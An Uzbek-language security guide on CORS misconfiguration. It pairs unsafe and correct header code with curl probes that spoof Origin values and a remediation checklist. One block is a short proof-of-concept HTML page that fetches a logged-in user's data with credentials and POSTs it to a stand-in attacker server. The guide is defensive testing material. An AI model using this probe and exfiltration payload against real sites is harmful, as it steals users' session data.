Brauzer same-origin siyosatiga tayanadi — boshqa sayt sizning API'ingizga so'rov yubora olmaydi. CORS bu qoidani bo'shatadi. Noto'g'ri sozlanganda hujumchi foydalanuvchi brauzeridan sizning sessiyangiz bilan API chaqiradi.

// XAVFLI
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true   // brauzer buni RAD etadi

// YETARLI ZAIFLIK (refleks)
const origin = req.headers.origin;
res.set('Access-Control-Allow-Origin', origin);
res.set('Access-Control-Allow-Credentials', 'true');
// ← har qanday sayt + cookie bilan o'qiy oladi

// TO'G'RI
const ALLOW = ['https://meeshar.uz','https://www.meeshar.uz'];
if (ALLOW.includes(req.headers.origin)) {{
  res.set('Access-Control-Allow-Origin', req.headers.origin);
  res.set('Access-Control-Allow-Credentials', 'true');
  res.set('Vary', 'Origin');
}}

# 1) oddiy so'rov + Origin sarlavhasi
curl -s -D- -o /dev/null -X POST https://site.uz/api/auth/login \
  -H "Origin: https://zararli.uz" -H "Content-Type: application/json" \
  -d '{"email":"a@b.uz","password":"x"}' | grep -iE "access-control|vary"

# 2) OPTIONS (preflight)
curl -s -D- -o /dev/null -X OPTIONS https://site.uz/api/me \
  -H "Origin: https://zararli.uz" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: authorization" \
  | grep -iE "access-control|allow"

# 3) kodda CORS konfiguratsiyasi
grep -rnE "cors|Access-Control-Allow|origin: *true|origin: *\*" src/ | head

# 1) javobni tahlil qilish
curl -s -D- -o /dev/null https://site.uz/api/me \
  -H "Origin: https://zararli.uz" -H "Cookie: session=$SIZNIKI" \
  | grep -iE "access-control-allow-(origin|credentials|methods|headers)|vary"

# 2) null origin
curl -s -D- -o /dev/null https://site.uz/api/me -H "Origin: null" | grep -i "allow-origin"

# 3) subdomain
curl -s -D- -o /dev/null https://site.uz/api/me -H "Origin: https://zararli.meeshar.uz" \
  | grep -i "allow-origin"

# 4) tarqoq kengaytmalar (regex xatosi)
curl -s -D- -o /dev/null https://site.uz/api/me -H "Origin: https://site.uz.zararli.uz" \
  | grep -i "allow-origin"
curl -s -D- -o /dev/null https://site.uz/api/me -H "Origin: https://site.uz@zararli.uz" \
  | grep -i "allow-origin"

# 5) OPTIONS orqali ruxsat chegarasini aniqlash
curl -s -D- -o /dev/null -X OPTIONS https://site.uz/api/admin/users \
  -H "Origin: https://zararli.uz" -H "Access-Control-Request-Method: DELETE" \
  | grep -i "allow-methods"

# 6) qisqa eksploit (zararli.uz fayli — o'z serveringizga)
cat > /tmp/xss.html <<'EOF'
<script>
fetch('https://site.uz/api/auth/me', { credentials:'include' })
  .then(r => r.json())
  .then(d => fetch('https://OQINGIZ-SERVER.uz/?', {
    method:'POST', body: JSON.stringify(d) }));
</script>
EOF
# faqat o'z saytingizni sinash uchun, localhost da oching

1. Aniq allowlist

const ALLOW = ['https://meeshar.uz','https://www.meeshar.uz'];
app.use(cors({{
  origin: (o, cb) => ALLOW.includes(o) ? cb(null, true) : cb(new Error('no')),
  credentials: true,
  methods: ['GET','POST','PUT','DELETE'],
  allowedHeaders: ['Content-Type','Authorization'],
  maxAge: 600
}}));

2. Kesh uchun Vary (MUHIM)

res.set('Vary', 'Origin');
// aks holda CDN/proxy birinchali origin'ni hamma uchun qaytaradi

3. Ichki API

// frontend va API bitta domen → CORS umuman kerak emas
// → eng yaxshi yechim: barcha so'rovlar https://meeshar.uz dan

4. Ma'lumotni kamaytirish

• Access-Control-Max-Age — 600 sekund
• Sensitiv endpoint'larga CORS yoq (mas. admin panel)
• Origin null, file:// — rad etilsin

• `Allow-Origin` faqat aniq domenlar uchun
• Regex emas, aynan `includes()` bilan
• `Vary: Origin` qo'yilgan
• `null` origin rad etilgan
• Admin endpoint'larda CORS yo'q
• `Origin: https://zararli.uz` bilan test qilindi